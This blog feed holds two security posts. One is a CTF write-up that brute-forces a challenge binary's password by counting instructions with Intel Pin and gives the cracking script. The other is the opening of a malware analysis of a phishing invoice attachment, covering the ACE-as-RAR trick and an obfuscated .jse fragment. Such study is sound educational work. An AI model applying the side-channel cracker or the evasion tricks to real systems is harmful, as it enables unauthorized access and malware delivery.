<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> nm -A a.out
<span style="color: #888888;">a.out:00000000006011c8 d _DYNAMIC</span>
<span style="color: #888888;">a.out:00000000006013a0 d _GLOBAL_OFFSET_TABLE_</span>
<span style="color: #888888;">a.out:0000000000400ee0 R _IO_stdin_used</span>
<span style="color: #888888;">a.out: w _ITM_deregisterTMCloneTable</span>
<span style="color: #888888;">a.out: w _ITM_registerTMCloneTable</span>
<span style="color: #888888;">a.out: w _Jv_RegisterClasses</span>
<span style="color: #888888;">a.out:00000000004011a8 r __FRAME_END__</span>
<span style="color: #888888;">a.out:00000000006011c0 d __JCR_END__</span>
<span style="color: #888888;">a.out:00000000006011c0 d __JCR_LIST__</span>
<span style="color: #888888;">a.out:00000000006028e0 D __TMC_END__</span>
<span style="color: #888888;">a.out:00000000006028e0 B __bss_start</span>
<span style="color: #888888;">a.out:0000000000601400 D __data_start</span>
<span style="color: #888888;">a.out:0000000000400650 t __do_global_dtors_aux</span>
<span style="color: #888888;">a.out:00000000006011b8 t __do_global_dtors_aux_fini_array_entry</span>
<span style="color: #888888;">a.out:0000000000601408 D __dso_handle</span>
<span style="color: #888888;">a.out:00000000006011b0 t __frame_dummy_init_array_entry</span>
<span style="color: #888888;">a.out: w __gmon_start__</span>
<span style="color: #888888;">a.out:00000000006011b8 t __init_array_end</span>
<span style="color: #888888;">a.out:00000000006011b0 t __init_array_start</span>
<span style="color: #888888;">a.out:0000000000400ed0 T __libc_csu_fini</span>
<span style="color: #888888;">a.out:0000000000400e60 T __libc_csu_init</span>
<span style="color: #888888;">a.out: U __libc_start_main@@GLIBC_2.2.5</span>
<span style="color: #888888;">a.out:00000000006028e0 D _edata</span>
<span style="color: #888888;">a.out:0000000000602920 B _end</span>
<span style="color: #888888;">a.out:0000000000400ed4 T _fini</span>
<span style="color: #888888;">a.out:0000000000400488 T _init</span>
<span style="color: #888888;">a.out:000000000040059e T _start</span>
<span style="color: #888888;">a.out:00000000006028e0 b completed.6661</span>
<span style="color: #888888;">a.out:0000000000601400 W data_start</span>
<span style="color: #888888;">a.out:00000000004005d0 t deregister_tm_clones</span>
<span style="color: #888888;">a.out: U exit@@GLIBC_2.2.5</span>
<span style="color: #888888;">a.out:00000000006028f0 B flags</span>
<span style="color: #888888;">a.out:0000000000400670 t frame_dummy</span>
<span style="color: #888888;">a.out: U free@@GLIBC_2.2.5</span>
<span style="color: #888888;">a.out:0000000000601440 D g_data</span>
<span style="color: #888888;">a.out:0000000000400530 T main</span>
<span style="color: #888888;">a.out: U malloc@@GLIBC_2.2.5</span>
<span style="color: #888888;">a.out: U read@@GLIBC_2.2.5</span>
<span style="color: #888888;">a.out:0000000000400610 t register_tm_clones</span>
<span style="color: #888888;">a.out:0000000000602900 B regs</span>
<span style="color: #888888;">a.out:0000000000602918 B stack</span>
<span style="color: #888888;">a.out:0000000000400ab9 t vm_add</span>
<span style="color: #888888;">a.out:0000000000400bed t vm_and</span>
<span style="color: #888888;">a.out:0000000000400798 t vm_cll</span>
<span style="color: #888888;">a.out:0000000000400852 t vm_cmp</span>
<span style="color: #888888;">a.out:0000000000400d28 t vm_ecl</span>
<span style="color: #888888;">a.out:0000000000602800 D vm_func</span>
<span style="color: #888888;">a.out:0000000000400963 t vm_jmp</span>
<span style="color: #888888;">a.out:0000000000400a40 t vm_jnz</span>
<span style="color: #888888;">a.out:00000000004009c7 t vm_jzz</span>
<span style="color: #888888;">a.out:0000000000400697 t vm_mov</span>
<span style="color: #888888;">a.out:0000000000400b6a t vm_mvp</span>
<span style="color: #888888;">a.out:0000000000400799 t vm_psh</span>
<span style="color: #888888;">a.out:0000000000400696 t vm_ret</span>
<span style="color: #888888;">a.out:0000000000400c9e t vm_xor</span>
<span style="color: #888888;">a.out: U write@@GLIBC_2.2.5</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
That's really, really interesting. Function names let think this is a VM. The function vm_xor leads us to imagine that the input will be XORED, then compared, thanks to vm_cmp function.<br />
<br />
We have two ways for solving this:<br />
<br />
<ol>
<li>bruteforce solution</li>
<li>doing it in a clean way</li>
</ol>
<br />
This is a CTF, lets work dirty.<br />
<br />
<h3>
2/ Straight to the winning point</h3>
<div>
<div>
The strategy is this one: let try by bruteforce any character and count how many instructions this program will do before saying the password is bad. If we have one (or more) good characters, the program will run longer to check other characters. Easy.</div>
</div>
<div>
<br /></div>
<div>
<a href="https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads" target="_blank">pin</a> is a program which can count instructions. The inscount library is in the source tree. Inscount can count how many instructions a program will compute during its lifetime. Compile it, and use it.</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./pin-3.5-97503-gac534ca30-gcc-linux/pin -t pin-3.5-97503-gac534ca30-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ./a.out
<span style="color: #888888;">ENTER PASS :aaaa</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> cat inscount.out
<span style="color: #888888;">Count 191674</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./pin-3.5-97503-gac534ca30-gcc-linux/pin -t pin-3.5-97503-gac534ca30-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ./a.out
<span style="color: #888888;">ENTER PASS :bbbb</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> cat inscount.out
<span style="color: #888888;">Count 191674</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
Ok, two wrong password use the same numbers of instructions.<br />
<br />
This is the shell script:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">#! /bin/bash</span>
<span style="color: #888888;"># If there is a will, there is a way</span>
<span style="color: #888888;"># 0xMitsurugi</span>
<span style="color: #996633;">pass</span><span style="color: #333333;">=</span><span style="color: #996633;">$1</span>
<span style="color: #008800; font-weight: bold;">for </span>char in a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H J K L M N O P Q R S T U V W X Y Z
<span style="color: #008800; font-weight: bold;">do</span>
./pin-3.5-97503-gac534ca30-gcc-linux/pin -t pin-3.5-97503-gac534ca30-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ./a.out <span style="color: #333333;"><<<</span> <span style="color: #996633;">$pass$char</span>
cat inscount.out | tr -d <span style="background-color: #fff0f0;">'\n'</span>
<span style="color: #007020;">echo</span> <span style="background-color: #fff0f0;">" "</span><span style="color: #996633;">$pass$char</span>
<span style="color: #008800; font-weight: bold;">done</span>
</pre>
</div>
<br />
<br />
Let's industrialize it:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 a</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 b</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 c</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 d</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 e</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 f</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 g</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191675 h</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191964 i</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 j</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 k</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191675 l</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191675 m</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191675 n</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191675 o</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 p</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 q</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 r</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191690 s</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 t</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 u</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 v</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 w</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 x</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 y</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 z</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 A</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 B</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 C</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 D</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 E</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 F</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 G</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 H</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 J</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 K</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 L</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 M</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 N</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191690 O</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 P</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 Q</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 R</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 S</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 T</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 U</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 V</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 W</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 X</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 Y</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191674 Z</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
It seems that we have some artefacts (???). Let's reduce the output by taking the biggest numbers only, and iterate until we got the solution:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191690 Q</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191690 f</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191964 i</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh i | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191981 iZ</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 191993 iS</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 192931 iW</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iW | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 192931 iWo</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 192946 iWO</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 193218 iWa</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWa | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 193221 iWao</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 193221 iWar</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 194724 iWas //it looks like an english sentence</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWas | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 194724 iWasx</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 194724 iWasy</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 194724 iWasz //??? Maybe not</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWasz | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 194739 iWaszR</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 194739 iWaszn</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 195689 iWasze</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWasze | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 195690 iWaszeY</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 195690 iWaszeZ</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 195979 iWaszeM</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWaszeM | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 195980 iWaszeMz</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 195995 iWaszeMn</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 196945 iWaszeMy</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWaszeMy | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 196962 iWaszeMye</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 196962 iWaszeMym</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 197236 iWaszeMyT</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWaszeMyT | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 197236 iWaszeMyTz</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 197264 iWaszeMyTE</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 198201 iWaszeMyTi</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWaszeMyTi | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 198201 iWaszeMyTiz</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 198202 iWaszeMyTil</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 198491 iWaszeMyTim</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.sh iWaszeMyTim | sort | tail -3
<span style="color: #888888;">ENTER PASS :FAILEDnCount 198492 iWaszeMyTimn</span>
<span style="color: #888888;">ENTER PASS :FAILEDnCount 198492 iWaszeMyTimo</span>
<span style="color: #888888;">ENTER PASS :WINnCount 195256 iWaszeMyTime</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
And here, I was WTF?? "<b>iWaszeMyTime</b>" ?? This one didn't flag on the platform.<br />
<br />
Curiously:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./a.out
<span style="color: #888888;">ENTER PASS :iWas#eMyTime</span>
<span style="color: #c65d09; font-weight: bold;">WINnmitsurugi@dojo:~/chall/FIC2018/v24$</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./a.out
<span style="color: #888888;">ENTER PASS :iWas*eMyTime</span>
<span style="color: #c65d09; font-weight: bold;">WINnmitsurugi@dojo:~/chall/FIC2018/v24$</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
<br />
I thing you already find the real answer: '<b>iWasteMyTime</b>'.<br />
<br />
This is really a strange side effect of the binary. I don't understand why it validate any strings.<br />
In CTF, you run for flag, you don't dissect binaries :-)<br />
<div>
<br /></div>
<div>
Maybe the challenge is buggy ^_^</div>
<div>
<br /></div>
<div>
<div style="text-align: right;">
<span style="font-size: x-small;">Let me give you a taste of my steel.</span></div>
<div style="text-align: right;">
<span style="font-size: x-small;">~Soulcalibur III - Mitsurugi</span></div>
</div>
<div style="text-align: right;">
<br /></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com1tag:blogger.com,1999:blog-8227611414371590425.post-63086616730960693272017-10-30T10:45:00.003+01:002017-10-30T10:51:26.097+01:00sandbox evasion for a .jse malware<h3>
1/ source email</h3>
I was sitting in front of my PC playing SoulCalibur. An IRC window popped up, with one of my friend saying:<br />
<br />
"<i>Hey, you should check this strange email I've received. I don't know what's in it, I'm not a customer of this company</i>".<br />
<br />
The mail was a classical email with the text: "you got an invoice, please check and pay" (sort of). The<br />
attachment was 1&1.pdf.facture.rar (facture means invoice in french).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4itgkMlx-YkprxGM98l3Ypauu8bym5SAsOmRcVg0lstaQWbqUO_nOxXKyD6zs-N3I2FqOgu4bQAMUvX3Wo-6TYz0gjQr0acEbAxLD8A3FJ3kvfQ9Giq5LPs95IpjkivwYF5xFANdRutU/s1600/mail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="466" data-original-width="575" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4itgkMlx-YkprxGM98l3Ypauu8bym5SAsOmRcVg0lstaQWbqUO_nOxXKyD6zs-N3I2FqOgu4bQAMUvX3Wo-6TYz0gjQr0acEbAxLD8A3FJ3kvfQ9Giq5LPs95IpjkivwYF5xFANdRutU/s1600/mail.png" /></a></div>
<br />
I quickly tell him that it was highly suspicious, that he must trash this mail, and I dig into it.<br />
<br />
<h3>
2/ Analysis</h3>
<h4>
2/1/ First analysis</h4>
The file seems to have some interesting anti-sandbox techniques. Sandboxes are equipment placed in front of email server, dedicated to malware analysis. Your mail is sent through those big boxes, email attachments are extracted, unzipped, then sent to a windows VM in order to analyze what this file will<br />
do to the computer. Thoses boxes are mainly linux boxes, which is a point to keep in mind.<br />
<br />
The 1&1.pdf.facture.rar file has some interesting characteristics:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span> file 1<span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\&</span>1.pdf.facture.rar
<span style="color: #888888;">1&1.pdf.facture.rar: ACE archive data version 20, from Win/32, version 20 to extract, contains AV-String (unregistered), with recovery record, solid</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span> <span style="color: #888888;"># So it's an "ace" file</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span> mv 1<span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\&</span>1.pdf.facture.rar suspicious.ace
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span> ls -l suspicious.ace
<span style="color: #888888;">-rw-r--r-- 1 mitsurugi mitsurugi 102481 oct. 23 15:58 suspicious.ace</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span> unace l suspicious.ace
<span style="color: #888888;">UNACE v1.2 public version</span>
<span style="color: #888888;">Processing archive: suspicious.ace</span>
<span style="color: #888888;">Authenticity Verification:</span>
<span style="color: #888888;">created on 10.10.2017 by *UNREGISTERED VERSION*</span>
<span style="color: #888888;">Date |Time |Packed |Size |Ratio|File</span>
<span style="color: #888888;"> 0| 0| 100%| 0 files</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span>
</pre>
</div>
<br />
This file contains ... <u>nothing</u> (?) It's obviously a false positive. My best guess is that the spammer wants to confuse sandboxes. If you don't have any file to analyze, sandbox couldn't tell if the file is infected :)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1s7SK2JE6VtzpOK3Lfuc2Hp5JRCe7U5SanywSsiQNlW0j_ZJ80rDycVTX5BCwztaX813Y0yZS201OlPYLnP0CL7WNM_SDWO3vRGuHWpwjasl7eUo8XXz8EiKGUPuivVtlrEyg4MOJhQE/s1600/youcant.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="299" data-original-width="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1s7SK2JE6VtzpOK3Lfuc2Hp5JRCe7U5SanywSsiQNlW0j_ZJ80rDycVTX5BCwztaX813Y0yZS201OlPYLnP0CL7WNM_SDWO3vRGuHWpwjasl7eUo8XXz8EiKGUPuivVtlrEyg4MOJhQE/s1600/youcant.png" /></a></div>
<br />
<br />
But one question remains, why the name of the file ends in .rar and not .ace? The .ace extension is not widely used under windows. Renaming it .rar can extends the availibilty of the spam campaign,<br />
and yes, winrar under windows extracts the file too.<br />
This is a really nice anti-sandbox trick :)<br />
<br />
As you can guess, there is indeed something:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span> strings suspicious.ace | head -5
<span style="color: #888888;">**ACE**</span>
<span style="color: #888888;">*UNREGISTERED VERSION*</span>
<span style="color: #888888;">1&1.pdf.facture.jse,</span>
<span style="color: #888888;">*M4D</span>
<span style="color: #888888;">?p}q</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka$</span>
</pre>
</div>
<br />
You have to boot a windows machine, download winace (or winrar) and unzip the file. Warning, a misclick could infect your machine.<br />
<br />
Once extracted, you can see that the file is a .jse (javascript encoded file):<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka/take2$</span> hexdump -C suspicious.jse | head
<span style="color: #888888;">00000000 23 40 7e 5e 52 43 49 47 41 41 3d 3d 56 21 33 3b |#@~^RCIGAA==V!3;|</span>
<span style="color: #888888;">00000010 6b 74 30 6c 6b 09 59 4b 31 59 7b 24 7b 47 2b 7e |kt0lk.YK1Y{${G+~|</span>
<span style="color: #888888;">00000020 71 54 4f 54 69 30 3b 33 21 2f 74 30 43 32 6c 31 |qTOTi0;3!/t0C2l1|</span>
<span style="color: #888888;">00000030 33 6d 6f 6e 2c 71 4f 7b 24 7b 2c 52 53 2a 5a 25 |3mon,qO{${,RS*Z%|</span>
<span style="color: #888888;">00000040 44 49 30 45 33 3b 64 34 33 43 68 4b 3b 5e 4e 30 |DI0E3;d43ChK;^N0|</span>
<span style="color: #888888;">00000050 44 27 5d 76 76 79 7e 57 71 54 70 7f 6e 44 7f 59 |D']vvy~WqTp.nD.Y|</span>
<span style="color: #888888;">00000060 78 6a 44 44 6b 09 4c 24 72 2d 36 2b 7f 77 36 46 |xjDDk.L$r-6+.w6F|</span>
<span style="color: #888888;">00000070 20 27 36 7f 73 77 61 2b 66 77 36 57 66 2d 58 76 | '6.swa+fw6Wf-Xv|</span>
<span style="color: #888888;">00000080 30 77 58 76 46 77 61 46 20 77 36 57 66 27 36 7f |0wXvFwaF w6Wf'6.|</span>
<span style="color: #888888;">00000090 77 2d 58 76 63 27 36 2b 58 4a 59 69 57 45 09 6d |w-Xvc'6+XJYiWE.m|</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka/take2$</span>
</pre>
</div>
<br />
This file can be extracted to a plain .js file thanks to a decoder:<br />
<a href="https://gist.github.com/bcse/1834878">https://gist.github.com/bcse/1834878</a><br />
<br />
We have a long file, 400kb long without any carriage return.<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka/take2$</span> wc suspicious.jse
<span style="color: #888888;"> 0 8881 402013 suspicious.jse</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka/take2$</span>
</pre>
</div>
<br />
<h4>
2/2/ desobfuscating js file</h4>
The file can be beautified with a site like jsbeautifier.org, and we can see that it's obfuscated:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">kukushkainto9t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">776</span>, <span style="color: #0000dd; font-weight: bold;">109</span>];
kukushkapackage91t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">798</span>, <span style="color: #0000dd; font-weight: bold;">508</span>];
kukushkawould8t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">662</span>, <span style="color: #0000dd; font-weight: bold;">41</span>];
Weret <span style="color: #333333;">=</span> <span style="color: #007020;">String</span>[<span style="background-color: #fff0f0;">"\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"</span>];
<span style="color: #008800; font-weight: bold;">function</span> Pesen(a) {
<span style="color: #008800; font-weight: bold;">return</span> a.length;
};
kukushkahelp13t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">885</span>, <span style="color: #0000dd; font-weight: bold;">31</span>];
kukushkabecome59t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">389</span>, <span style="color: #0000dd; font-weight: bold;">210</span>];
kukushkaonly52t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">570</span>, <span style="color: #0000dd; font-weight: bold;">520</span>];
kukushkaTeaching44t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">63</span>, <span style="color: #0000dd; font-weight: bold;">64</span>];
kukushkacome84t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">563</span>, <span style="color: #0000dd; font-weight: bold;">237</span>];
kukushkaknow23t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">83</span>, <span style="color: #0000dd; font-weight: bold;">120</span>];
kukushkaknowledge24t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">689</span>, <span style="color: #0000dd; font-weight: bold;">726</span>];
kukushkaacquired16t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">291</span>, <span style="color: #0000dd; font-weight: bold;">172</span>];
kukushkalifeNurturing10t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">695</span>, <span style="color: #0000dd; font-weight: bold;">606</span>];
kukushkateacher32t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">171</span>, <span style="color: #0000dd; font-weight: bold;">621</span>];
kukushkabooksDIRECTORDirectorate89t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">156</span>, <span style="color: #0000dd; font-weight: bold;">498</span>];
